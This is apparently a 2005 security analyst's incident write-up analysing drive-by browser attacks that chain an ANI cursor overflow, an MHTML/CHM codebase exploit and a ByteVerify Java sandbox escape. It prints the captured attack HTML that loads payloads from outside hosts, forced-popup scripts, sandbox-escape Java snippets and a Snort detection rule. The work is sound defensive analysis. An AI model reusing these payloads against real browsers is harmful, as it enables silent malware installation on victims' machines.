Tri-Mode Browser Exploits - MHTML, ANI, and ByteVerify


Back Home

Last Updated: Saturday April 30, 2005

Michael Ligh (michael.ligh@mnin.org)

This document is a member of the Browser Attacks Anthology


Table of Contents

  1. The First Incident
  2. The Second Incident
  3. Revisiting Tri-Mode Exploits
  4. References

i. The First Incident

For another description of ByteVerify trojan in action, see Turning JPEGs Into DLLs.

If you need an introduction to this one, read the subject line a few more times (the analysis is long enough already). It started on March 1, 2005 upon receipt of the following alerts from Computer Associates:

[time 3/1/2005 2:14:53 PM: ID 14: machine WS-1-4-14.sanitized: response 3/1/2005 2:20:44 PM] The Win32/MS05-002!exploit!Trojan was detected in C:\DOCUMENTS AND SETTINGS\SANITIZED\LOCAL SETTINGS...\SPLOIT[1].ANR. Machine: WS-1-4-14, User:Sanitized. File Status: Moved
[time 3/1/2005 2:14:47 PM: ID 14: machine WS-1-4-14.sanitized: response 3/1/2005 2:20:44 PM] The Java/ByteVerify!Trojan was detected in C:\DOCUMENTS ...\LOADERADV510.JAR-4CFF333C-5041881F.ZIP. Machine: WS-1-4-14, User: Sanitized. File Status: Infected

We have Squid proxy (web access) logs and the user's account of what happened for evidence. She was searching for pounds (lbs) converstion tools. Here is how it all unfolded:

2:14:17 PM. User visits search engine (search.msn.com) and enters criteria to find information on pound conversion information.

2:14:22 PM. User clicks on one of the first links, determined by the search engine as most promising: (notice that although this is only step 2, it is the last time the user is involved)

Title: Pounds
Description: pounds,to,euro dollar conversion,pounts,british pounds sterling,onces,pounds to kilograms,ton,lose ... 10_pounds peel_away_the_pounds dollars_to_pounds convert_pounds_to_dollars pounds_to_us take_off_pounds ...
URL: www.pounds.sdhtyz.com

2:14:22 PM. User visits www.pounds.sdhtyz.com and her browser is redirected to www.xxxcenter.org by an HTTP 302 code, as portrayed in this reenactment:

# wget www.pounds.sdhtyz.com
--18:10:13--  http://www.pounds.sdhtyz.com/
           => `index.html'
Resolving www.pounds.sdhtyz.com... 66.98.209.27
Connecting to www.pounds.sdhtyz.com[66.98.209.27]:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: http://www.xxxcenter.org [following]
--18:10:13--  http://www.xxxcenter.org/
           => `index.html'
Resolving www.xxxcenter.org... 207.44.246.90
Connecting to www.xxxcenter.org[207.44.246.90]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
 
    [ <=>                           ] 26,363       160.37K/s

18:10:13 (160.11 KB/s) - `index.html' saved [26363]

2:14:22 PM. The first 4 lines of HTML within www.xxxcenter.org/index.html send the user's browser to the same site (static.windupdates.com) that was involved in the (famous) attack here:

[!-- AUTO PROMPT START --]
[script language="javascript" type="text/javascript" src="http://static.windupdates.com/prompts/a079ab73/a674aa.js"][/script]
[script language="javascript" type="text/javascript">self.focus();[/script]
[!-- AUTO PROMPT END --]

2:14:23 PM. The user's machine was never subject to the contents of a674aa.js because all access to the *.windupdates.com domain was blacklisted after the above (famous) attack.The user's browser was, however, subject to the rest of the code at www.xxxcenter.org/index.html. The next several lines contained JavaScript functions named popper(), popp(), and xit().

[body onUnload="popp()" onload="popper()" onunload='xit();' leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"]

So, the popper() function executes as soon as the page loads. If the user closes the browser then popp() and xit() execute. In other words, all 3 functions execute, no matter what the user does.

[SCRIPT language="JavaScript"]
[!--
var exit=true;
function popp(){
if (exit) window.open("http://www.realitypornpass.com/?revid=211146&pid=54&tour=1&track=EXIT");
}
// --]
[/SCRIPT]
[SCRIPT language="JavaScript"]
[!--
var exit=true;
function popper(){
if (exit) window.open("http://www.xxxcenter.org/console/");
}
// --]
[/SCRIPT]

The order in which these functions execute correspond with the web access logs. The user thought if she closed the browser immediately, then it would reduce the amount of damage. In fact she just acted as a catalyst for the infection. Upon closing the browser window, she executed xit():

[script language="JavaScript"]
  var exit=true;
  function xit() {
      if (exit) {
            exit=false;
            var url = "http://iframedollars.biz/dl/adv510.php";
            var height = "1";
            if (document.all&&window.print) //if ie5
             eval('window.showModalDialog(url,"","dialogHeight:"+ height+" px;
                  dialogWidth:1px;dialogTop:0px; dialogLeft: 0px; edge: Raised; center:0;
                  help:0;resizable:0;scroll:1; status:0")');
            else
                 eval(window.open(url,"","scrollbars=0,menubar=0,toolbar=0,location=0,
                  personalbar=0,status=0,resizable=0"))
      }
   }                                                                                           
   eval(window.document.attachEvent('onerror',xit));
   eval(attachEvent('onbeforeunload',xit));                                                               
[/script]

Foul move, one might say. Small script but it has intelligence. First, it has a conditional to handle IE 5 as well as other versions and browsers. Second, similar to the lose-lose situation presented earlier, the function is called no matter if the browser is shut down or if it encounters an error (see the use of DHTML events 'onerror' and 'onbeforeunload' in conjunction with attachEvent, [1] [2]).

Once again, the browser bows in shame and fetches adv510.php which contains this:

[html][head]
[/head][body]
[style]
* {CURSOR: url("http://213.159.117.203/dl/adv510/sploit.anr")}
[/style]
[script]
try{
document.write('[object data=""]&#'+109+';s-its:mhtml'+':'+'file://C:\\nosuch.mht!http://213.159.117.203/dl/adv510/x.chm::/x.htm" type="text/x-scriptlet">[/object]
');
document.write('[applet'+' width=1 height=1 '+'ARCHIVE=loader'+'adv510.jar co'+'de=Counter][/AP'+'PLET]');
}catch(e){}
[/script]
[/body][/html]

The first unfamiliar (to me anyway) object is the CURSOR target within <style> tags. The author is obviously fond of DHTML. Anyway, the sytax for this is '{ cursor : sCursor }' where sCursor is one of many things. In this case sCursor is the url(uri) type. Explained in [3].

url(uri) Internet Explorer 6 and later. Cursor is defined by the author, using a custom Uniform Resource Identifier (URI), such as url('mycursor.cur'). Cursors of type .CUR and .ANI are the only supported cursor types.

This shows a few things. First, the author knows some things about DHTML that I didn't (not surprising, I don't know much about DHTML). More importantly, it shows that the attack was designed for IE 6 browsers. This was the version on the user's PC and she did not have updated Security patches.I downloaded a copy of sploit.anr for analysis:

# file sploit.anr
sploit.anr: RIFF (little-endian) data, animated cursor

RIFF? Not a file-type I'm immediately familiar with, but the 'animated cursor' part makes sense. Meanwhile, I was sitting here scratching my head...is there a typo in the code or on Microsoft's site? The filename is sploit.anr but the function is apparently only compatible with cur and ani file types. Just then Snort expressed it's opinion. A few moments ago I had downloaded sploit.anr with wget. My email inbox alerted me that an IDS signature had been triggered on that action:

Mar  1 19:56:34 fire snort: [1:3079:2] WEB-CLIENT Microsoft ANI file parsing overflow [Classification: Attempted User Privilege Gain] [Priority: 1]: {TCP} 213.159.117.203:80 -> 24.2.153.168:32808

Awesome, follow the trail to the rule on snort.org for SID=3079, [4] which then leads to MS05-002, [5].

In short, "An attacker can entice a user to download a malicious animated cursor file, causing a buffer overflow and the subsequent execution of arbitrary code on the vulnerable client." This was just released January 11, 2005 and affects just about every version of Windows except XP with SP2 installed.

Here is the Snort signature rule:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Microsoft ANI file parsing overflow"; flow:established,from_server; content:"RIFF"; nocase; content:"anih"; nocase; byte_test:4,>,36,0,relative,little; reference:cve,CAN-2004-1049; classtype:attempted-user; sid:3079; rev:2;)

The rule is important because it shows exactly why the sploit.anr file trigged the alert. First, it contained "RIFF". RIFF is the Resource Interchange File Format, designed for the storage of multimedia data. It can contain data types ranging from C++ objects to full-motion video. Second, it contained "anih". The relationship of text strings "RIFF" and "anih" within the file are very strict, as specified by "byte_test:4,>,36,0,relative,little".

This means that at offset 0, the hex representation of "RIFF" must exist (thus the first 4 bytes of the file). Next, before we reach byte 36, the hex representation of "anih" must exist. Furthermore, the signature will only match on little-endian style (this means the string really isn't "anih" reading from left to right, it is actually "nahi"). Anyway, take a look at the first 16 byts of sploit.anr:

# hexdump -n 16 sploit.anr
0000000 4952 4646 189c 0000 4341 4e4f 6e61 6869

The first 4 bytes (49 52 46 46) correspond to "RIFF" in ASCII. This is how the 'file' utility we used earlier was able to determine the file type. Then, skipping over 189c 0000 4341 4e41, we encounter 6e61 6869 (which is "nahi" in ASCII).

That just goes to show we can vouch for the Snort signature - it wasn't a false positive. If the first 4 bytes of the file signify what type of file it really is, and bytes 13-16 are consistent enough to create an IDS rule with, there's a good chance the first hunk of bytes is still the file's header. Snort said the attack was a buffer overflow and in many cases that's because the application parsing a file takes the file's own word for how big a certain section of it is.

This happens much in the same way that a 200 pound bully would entice a 5th grader to give him a piggy back ride by claiming he is only 100 pounds. The gullible 5th grader may accept, but once the overweight bully hops on his back, the 5th grader is going to get crushed. Alright, bad analogy.

Here is the header structure of a RIFF file:

typedef unsigned long DWORD;
typedef unsigned char BYTE;
typedef DWORD FOURCC;    // Four-character code
typedef struct {
     FOURCC ckID;        // The unique chunk identifier
     DWORD ckSize;       // The size of field 
     BYTE ckData[ckSize];     // The actual data of the chunk
} CK;

"The first chunk in a RIFF file must be a RIFF chunk with a chunk ID consisting of the four-character code RIFF," [6].

We got that already, but it helps place us where we need to be. According to the code, after the ckID, we can expect the ckSize, which is of type DWORD - an unsigned long (32 bit value). That means the 4 bytes following "RIFF" tells us how big the data section of the file should be. This is 189c 0000 (according to the eEye advisory this is not he size that creates the overflow, it is later in the payload under the size for a subheader). Then, the payload (ckData) begins, which happens to be one of the subheaders. These next 4 bytes signify the (little-endian) hex value of 4341 4e4f, which corresponds to ASCII 'acon' - otherwise known as the animated icon format for Windows, [7].

Did I mention this file is probably an animated cursor? Just kidding. Anyway, we know it causes a buffer overflow on Windows and that code executed after could be run with rights of the local user. What code that may be is still in question, but we've got a good hint. Using combined attack mechanisms, the adv510.php file (look up if you forgot) also uses the MHTML exploit, which is documented by myself in these two places:

[Investigating CHM exploits (before IE patches!)]

[Investigating Netwin Malware]

The theoretical result is x.chm being uncompressed and executed by the browser. In our case, our web proxy blocked the request for this file, which prevented the exploit from continuing. In the past we chose to block access to all CHM files due to their prevalence in web exploits. Here is the blocked traffic log:

2005-03-01 14:14:40 [28787] Request(sanitized/spyware/-) http://213.159.117.203/dl/adv510/x.chm 10.1.x.x/- - GET

Uncompressed to a test machine, x.chm contains load.exe and x.htm. The HTML file registers load.exe as an ActiveX control with this unique classid and executes it (for further explanation see the update to this post at the bottom of the page).

[html]
[body]
[object classid="clsid:11111111-1111-1111-111111111157" codebase="load.exe"][/object]
[/body]
[/html]

The last component of this exploit involves the loaderadv510.jar file (reference adv510.php).

# file loaderadv510.jar
loaderadv510.jar: Zip archive data, at least v2.0 to extract
# unzip loaderadv510.jar
Archive:  loaderadv510.jar
  inflating: Counter.class
  inflating: Dummy.class
  inflating: Matrix.class
  inflating: Parser.class

It was within Counter.class that CA detected the ByteVerify trojan. This is essentially used to escape the Java sandbox and execute arbitrary code. At the time of this original report, I didn't know of any tools to decompile Java classes, so nothing more was done with these files (but see the update to this post at the bottom of the page). VirusTotal wasn't finished, however:

Scan results
File: loaderadv510.jar
Date: 03/02/2005 03:58:42 (CET)
----
AntiVir 6.30.0.3/20050301       found [JS/OpenConnect.J.1]
AVG     718/20050301    found [Java/ByteVerify]
BitDefender     7.0/20050302    found [Java.Trojan.Exploit.Bytverify]
ClamAV  devel-20050130/20050302 found [Java.ClassLoader.24564]
DrWeb   4.32b/20050301  found [Trojan.ClassLoader]
eTrust-Iris     7.1.194.0/20050302      found [Java/ByteVerify!Trojan]
eTrust-Vet      11.7.0.0/20050301       found [Java.ByteVerify!exploit]
Fortinet        2.51/20050302   found [JAV/BYTVerify.A-tr]
F-Prot  3.16a/20050301  found [destructive program]
Ikarus  2.32/20050301   found nothing
Kaspersky       4.0.2.24/20050302       found [Trojan.Java.ClassLoader.h]
NOD32v2 1.1016/20050301 found [Java/ClassLoader.H]
Norman  5.70.10/20050301        found [Java/Byteverify.H]
Panda   8.02.00/20050301        found [Exploit/ByteVerify]
Sybari  7.5.1314/20050302       found nothing
Symantec        8.0/20050301    found [Trojan.ByteVerify]

We blocked the two critical components in this attack: access to the JavaScript page on static.windupdates.com and to the x.chm file from an unknown site. In summary, the user followed a search engine's pointer and ended up at xxxcenter.org. Her browser was forced into a situation where it would be downloading code from another site no matter what she did. This code used a multi-attack mechanism including a buffer overflow in Microsoft's ANI file format, a parsing and privilege escalation vulnerability in the MHTML protocol hander, and weaknesses in Java's VM component.

ii. The Second Incident

Here is a minor variation of the March 1 incident. The difference is that it occurred two days prior on a machine at a client location. The similarities are, well, see for yourself.

Once again, the unsuspecting user was searching the web, this time for an unknown criteria. The MSN search engine pointed them in the direction of http://www.manchester-evening-news.inter-news.info.

There was no redirection involved this time, the user went straight to the source:

# wget http://www.manchester-evening-news.inter-news.info/
--19:27:38--  http://www.manchester-evening-news.inter-news.info/
           => `index.html'
Resolving www.manchester-evening-news.inter-news.info... 67.15.114.155
Connecting to www.manchester-evening-news.inter-news.info[67.15.114.155]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                 ] 2,721         --.--K/s             

19:27:46 (32.85 MB/s) - `index.html' saved [2721]

It was not surprising at all to find the first 4 lines of index.html:

[!-- AUTO PROMPT START --]
[script language="javascript" type="text/javascript" src="http://static.windupdates.com/prompts/a074ab71/a675ab7b.js"][/script]
[script language="javascript" type="text/javascript">self.focus();[/script]
[!-- AUTO PROMPT END --]

As in the last case, we blocked access to this critical component of the exploit. Nevertheless, index.html was programmed for other dirty tricks.

[script language='JavaScript']
function onClose(){
window.open("http://www.ie.sexarchive.us/").blur() }
window.onunload=onClose
[/script]

The courteous (assuming we're dealing with gentlemen) way to link a user somewhere is with the OnMouseClick or OnMouseUp functions. They require the user to make a conscious decision to follow the link. As with the last case, the exploits commence on browser unload/close - the first thing innocent users will try when attempting to counteract a popup.

Next, just like the March 1 exploiit, index.html contained a function named xit() with strikingly similar appearance. Also, the <body> tag was slightly different (missing the pop() and popper() functions):

<BODY onload=self.focus() onunload='xit();'>

Take a look at the xit() function:

[script language="JavaScript"]
var tixe=true;
function xit() {
if (tixe) {
  tixe=false;
  var url = "http://www.hsn.sexarchive.us";
  var height = "1600";
    if (document.all&&window.print) //if ie5
      eval('window.showModalDialog(url,"","dialogHeight:"+ height+" px; dialogWidth:1600px;dialogTop:0px; dialogLeft: 0px; edge: Raised; center:0; he
lp:0;resizable:0;scroll:1; status:0")');
    else
      eval(window.open(url,"","scrollbars=1,menubar=0,toolbar=0,location=0,personalbar=0,status=1,resizable=1"))
    }
}
eval(window.document.attachEvent('onerror',xit));
eval(attachEvent('onbeforeunload',xit));
[/script]

We see the same IE 5 conditional and the same usage of 'onerror' and 'onbeforeunload', however the target URL is different. Rather than immediately fetching adv407.php, this xit() function uses the code to send the browser to www.hsn.sexarchive.us. Meanwhile, the browser continues to parse index.html all the way through, when it encounters the file we became familiar with on March 1 (note the filename is similar but not exact: adv407.php and adv510.php):

[iframe src="http://iframedollars.biz/dl/adv407.php" width=1 height=1][/iframe]
[iframe src="http://www.topcash.biz/adverts/23/1.htm" width=1 height=1][/iframe][/BODY]

The contents of adv407.php:

[html][head]
[/head][body]
[style]
* {CURSOR: url("http://213.159.117.203/dl/adv407/sploit.anr")}
[/style]
[script]
try{
document.write('[object data="&#'+109+';s-its:mhtml'+':'+'file://C:\\nosuch.mht!http://213.159.117.203/dl/adv407/x.chm::/x.htm" type="text/x-scriptlet">');
document.write('[applet'+' width=1 height=1 '+'ARCHIVE=loader'+'adv407.jar co'+'de=Counter][/AP'+'PLET]');
}catch(e){}
[/script]

Fortunately, we blocked access to the main.chm and x.chm files, which presumably contain the executable that attackers are working SO hard to get onto our machines.. They package this executable in a CHM file, in hopes that they would be allowed through the filter even if EXE are not. It's wrapped in at least 3 known high risk browser vulnerabilities, any of which would allow the code to run. Some of the vulnerabilities were released less than 45 days go.

One interesting thing to note from these two incidents and their relationship is the formation of a large scale spyware web. There are several domains involved, possibly many more we are not aware of, that all link to one another in some way. One supplies the CHM exploit, one hosts the Jar and Class files, one stores the animated cursors, and together they harmonize for one hell of a quick infection.

iii. Revisiting Tri-Mode Exploits

This is an update to the two previous posts. It will serve to discuss the following topics:

  1. Identify x.html as Troj/Codebase-C
  2. Identify load.exe as Troj/Harnig-AM
  3. Identify how x.html executes load.exe (via ActiveX registration and Codebase entry)
  4. Discuss reasons load.exe would disable access to adware related sites via HOSTS
  5. Discuss how to locate and disable known bad CLSID entries in Windows registries
  6. Cite some references for ByteVerify and tie it in with existing information on the Internet
  7. Utilize SecuriTeam's POC to understand SPLOIT.ANI
  8. Are the 3 exploits self-contained or do they rely on each other?

I came to that last question by jumping straight to x.chm, decompressing it with hh, then running x.html in an Internet Explorer browser. I got some good results, but they left me wondering if this attack was self-contained. Reviewing the RegShot comparison, 6 executables were created on disk:

C:\WINDOWS\system32\dktibs.exe
C:\WINDOWS\system32\systime.exe
C:\WINDOWS\mstasks1.exe
C:\WINDOWS\mstasks2.exe
C:\WINDOWS\mstasks3.exe
C:\WINDOWS\toolbar.exe

The interesting thing is that load.exe (or any other process during this time) never write any data to these files; and thus they all remain 0 bytes. load.exe opens, reads, and closes, but that's it. Did it expect them to exist already? Were these files supposed to be created by the sploit.anr exploit? load.exe deleted the real Windows HOSTS file and replaced it with a tained version. The www links are edited so if you accidently click it doesn't place my domain in the referrer logs of these sites (not to mention what may happen to your computer):

127.0.0.3 n-glx.s-redirect.com
127.0.0.3 x.full-tgp.net
127.0.0.3 counter.sexmaniack.com
127.0.0.3 autoescrowpay.com
127.0.0.3 ww_w.autoescrowpay.com
127.0.0.3 ww_w.awmdabest.com
127.0.0.3 ww_w.sexfiles.nu
127.0.0.3 awmdabest.com
127.0.0.3 sexfiles.nu
127.0.0.3 allforadult.com
127.0.0.3 ww_w.allforadult.com
127.0.0.3 ww_w.iframe.biz
127.0.0.3 iframe.biz
127.0.0.3 ww_w.newiframe.biz
127.0.0.3 newiframe.biz
127.0.0.3 ww_w.vesbiz.biz
127.0.0.3 vesbiz.biz
127.0.0.3 ww_w.pizdato.biz
127.0.0.3 pizdato.biz
127.0.0.3 ww_w.aaasexypics.com
127.0.0.3 aaasexypics.com
127.0.0.3 ww_w.virgin-tgp.net
127.0.0.3 virgin-tgp.net

With that, the malware was readily identifiable. Sophos calls it Harnig-AM, [8] or Harnig-AL, [9]. They state that several of the files it tries to fetch from a remote server are either curropt or have a file size of zero. Symantec calls it Downloader.Lunii, [10].

It's interesting that these HOSTS entries disable access to a number of other adware related sites. In all the times I've seen HOSTS files being overwritten, it's purpose is to prevent Windows or Antivirus updates that reach the vendor's servers by hostname (ie update.symantec.com). Now I have to ask, why does it disable access to the adware related domains? Is the author of this trojan trying to make sure that we only get malware from his site and not others? Or is he associated with all these domains and afraid that further access may trigger some alerts (if they haven't already) and lead back to him?

Anyway, Sophos also mentions on the Harnig-AM page that it is often used in conjuction with Troj/Codebase-C, [11].

Troj/Codebase-C exploits the CODEBASE vulnerability associated with certain versions of Microsoft Internet Explorer to run an executable file on the local computer.
Troj/Codebase-C is an HTML file containing an OBJECT element whose CODEBASE attribute points to an executable file.

Keywords in that description (OBJECT, in particular), point to ActiveX as a critical component in this exploit. ActiveX controls are added to web pages via the <object></object> tags. An author can supply a number of attributes as well, such as the classid and codebase. Classid is unique to each ActiveX control and Codebase specifies were to fetch the content. In the above analysis it shows the classid as part of x.html, but the RegShot comparison shows exactly where those values are inserted:

HKLM\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{11111111-1111-1111-1111-111111111157}\InstalledVersion\: "0,0,0,1"
HKLM\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{11111111-1111-1111-1111-111111111157}\DownloadInformation\CODEBASE: "file://C:\Documents and Settings\mike\Desktop\chms\load.exe"
HKLM\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{11111111-1111-1111-1111-111111111157}\SystemComponent: 0x00000000
HKLM\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{11111111-1111-1111-1111-111111111157}\Installer: "MSICD"

Since the classid is supposed to be unique, it's easy to search Google for more information on it. A large number of results are produced, I got just above 5,000. Just like BHO's, it might be a good idea to write a Nessus plugin that searches for these known ActiveX classid values and alert when any are found. Microsoft's Q240797, [12] describes how to individually disable ActiveX controls, while still maintaining functionality of the protocol. Another post will present this if it ever turns into something (or maybe one already exists), but for now knowing that it's a possibility is comforting.

The last thing to do is look futher into the ByteVerify exploit a little closer. It's been centerstage in two attacks so far, the one you're reading about now and Turning JPEGs Into DLLs. There is also another waiting in the queue, but since it doesn't exist yet there isn't a whole lot to say about it. According to Microsoft (see URL below):

The ByteCode Verifier is a low level process in the Microsoft VM that is responsible for checking the validity of code - or byte code - as it is initially being loaded into the Microsoft VM.

There is a flaw in the way the ByteCode Verifier conducts its checks when it is loading code. It does not check correctly for a particular illegal sequence of byte codes, therefore a malicious applet could be used to take advantage of this missing check and bypass subsequent security checks.

The following sites document and/or acknowledge the ByteVerify trojan:

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0111
http://www.symantec.com/security_response/writeup.jsp?docid=2003-090514-4048-99
http://www.microsoft.com/technet/security/bulletin/MS03-011.mspx
http://www.kb.cert.org/vuls/id/447569http://xforce.iss.net/xforce/xfdb/11751
http://www.ciac.org/ciac/bulletins/n-074.shtml
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:136

Also, per course material from Lenny Zeltser's SANS SEC 601 - Reverse Engineering Malware class, SecurityFocus has a few POCs published here.The technical details provided by Symantec are fairly representative of this family of attacks. The names of class files and methods differ a small amount, as does the action after escaping the sandbox. As a high level comparison, here is a diagram of the involved class files and the differing names across analyses:

Left column is Symantec files. Middle column is from the Turning JPEGs Into DLLs attack. Right column is the current attack you're reading.

1 BlackBox.class      |  Counter.class      |  Counter.class
2 VerifierBug.class   |  VerifierBug.class  |  Parser.class
3 Beyond.class        |  Beyond.class       |  Matrix.class
4 No References       |  Gummy.class        |  Dummy.class

So, per the Symantec write-up, this first escapes the sandbox restrictions, using the class on line 1, by doing the following:

PermissionDataSet permissiondataset = new PermissionDataSet();
permissiondataset.setFullyTrusted(true);
PermissionSet permissionset = new PermissionSet(permissiondataset);
URLClassLoader urlclassloader = (URLClassLoader)getClass().getClassLoader();

This declares a new PermissionDataSet with setFullyTrusted set to TRUE, creates a trusted PermissionSet, and Sets permission to PermissionSet by creating its own URLClassLoader class, derived from the class named on line 2.

Next, it loads the class on line 3 by calling URLClassLoader from the main class (line 1 file). Here are two examples:

dummy.value = urlclassloader;
Object aobj[] = new Object[2];
aobj[0] = dummy;
aobj[1] = permissionset;
method.invoke(obj, aobj);
class1 = urlclassloader.loadClass(a("\017&/F}:"));
Matrix = class1.newInstance();

gummy.value = urlclassloader;
Object aobj[] = new Object[2];
aobj[0] = gummy;
aobj[1] = permissionset;
method.invoke(obj, aobj);
class1 = urlclassloader.loadClass("Beyond");
class1.newInstance();

Still quoting Symantec, the code then gains unrestricted rights on the local machine by invoking the .assertPermission method of the PolicyEngine class from the class named in line 3:

PolicyEngine.assertPermission(PermissionID.SYSTEM);

The remaining steps as specified by Symantec is where we break apart. Each incident is obviously customized by their respective authors with the task they would like to have the infected system execute. In the Symantec example, the code fetches a web page, parses it, replaces the IE homepage, and may download some dialers. In our first example (middle column), a file named q319243.com is written to disk and executed, only to download a falsely labeled JPEG image which is later plugged into IE as a BHO. Finally, in the current example, the author has his code fetch loadadv510.exe from iframedollars.biz, later executing it and placing a request to cheatadv510.php.

Now, to wrap up the SPLOIT.ANI attack. SecuriTeam has posted a POC written by houseofdabus, [13]. The POC spawns a listening process on a specified port to localhost, which can be connected to via telnet. The important step was generating the ANI file from the POC executable, so the format could be compared with SPLOIT.ANI. Both files are 912 bytes and they have the same headers, but the shellcode is obviously different. SPLOIT.ANI has a strings reference to c:\new.exe.

With houseofdabus' POC handy, I swapped the ANI filename to SPLOIT and ran it in a browser.

[html]
[head]
   [style]
      * {CURSOR: url("SPLOIT.ANI")}
   [/style]
[/head]
[/html]

It was surprising to see that no new processes had entered the listening state on any ports. SPLOIT.ANI doesn't bind to any ports, it must do something completely different. I checked the FileMon output for new.exe:

347   2:59:12 AM   IEXPLORE.EXE:1684   QUERY INFORMATION   C:\new.exe   NOT FOUND   Attributes: Error   
348   2:59:12 AM   IEXPLORE.EXE:1684   QUERY INFORMATION   C:\new.exe.exe   NOT FOUND   Attributes: Error   
349   2:59:12 AM   IEXPLORE.EXE:1684   OPEN   C:\new.exe   NOT FOUND   Options: Open  Access: All

There you go, when SPLOIT.ANI overflows the buffer, it tries to execute c:\new.exe. In this case, new.exe didn't exist so the attempts failed, but in a follow up test, I placed a copy of notepad.exe at c:\new.exe and watched it get loaded into the Windows process list. So, what was *supposed* to be in new.exe? Unfortunately, none of the logs or existing data for this attack incident made any reference to new.exe. I checked Google for 'new.exe sploit' and got one nice hit of someone's HijackThis output, [14]. Well, that is one banged up PC, but here's the important part:

File C:\new.exe infected by "Trojan-Downloader.Win32.Small.yx" Virus. Action Taken: No Action Taken.

Back to Google with 'Trojan-Downloader.Win32.Small.yx' and you'll never guess where it goes. According to Sophos this is an alias for Troj/Harnig-AM! The even more interesting part is the seemingly poor organization of this attack now. Out of the tri-mode browser exploits, SPLOIT.ANI is loaded first and it looks for the Troj/Harnig-AM on disk. Although all these events probably occur extremely quick, at least 4 (download x.chm, decompress x.chm, read x.html, register new ActiveX control, install load.exe) other steps need to happen before Troj/Harnig-AM will be present on the system. Even then, it's not named new.exe.

The single adv510.php page tried to exploit at least 3 different vulnerabilities in unpatched Windows operating systems. At the time it seemed pretty intimidating, but now it seems that the more intimidating scenario would have been 1) getting load.exe to run with one page 2) redirecting to a new page with SPLOIT.ANI. This way, the attacker can be sure that his files would exist on disk by the time the buffer overflows to call code at those locations. Oh, and if you're going to go through the trouble of all this in order to get new.exe executed, why not just pack new.exe into load.exe and have it executed then? The most intimidating scenario of them all would be a self-contained executable that didn't need to fetch other executables to do it's work.

As a final note, the ByteVerify exloit was completely independent of the other attacks. The success or failure of ANI and MHTML had no bearing on ByteVerify.

iv. References

[1]. Microsoft DHTML Reference for attachEvent() method.
[2]. Microsoft DHTML Reference for other events.
[3]. Microsoft DHTML Reference for cursor attributes and properties.
[4]. Snort Intrusion Detection System SID 3079
[5]. Microsft Security Bulletin MS05-002
[6]. Univeristy of Dayton Information on RIFF Format
[7]. ANI File Format Information
[8]. Sophos Virus Information: Troj/Harnig-AM
[9]. Sophos Virus Information: Troj/Harnig-AL
[10]. Symantec Security Response: Downloader.Lunii
[11]. Sophos Virus Information: Troj/Codebase-C
[12]. Microsoft Knowledge Base: How to stop an ActiveX control from running in Internet Explorer
[13]. POC for MS05-002 written by houseofdabus, displayed on SecuriTeam
[14]. HijackThis output on German forums site: trojaner-board.de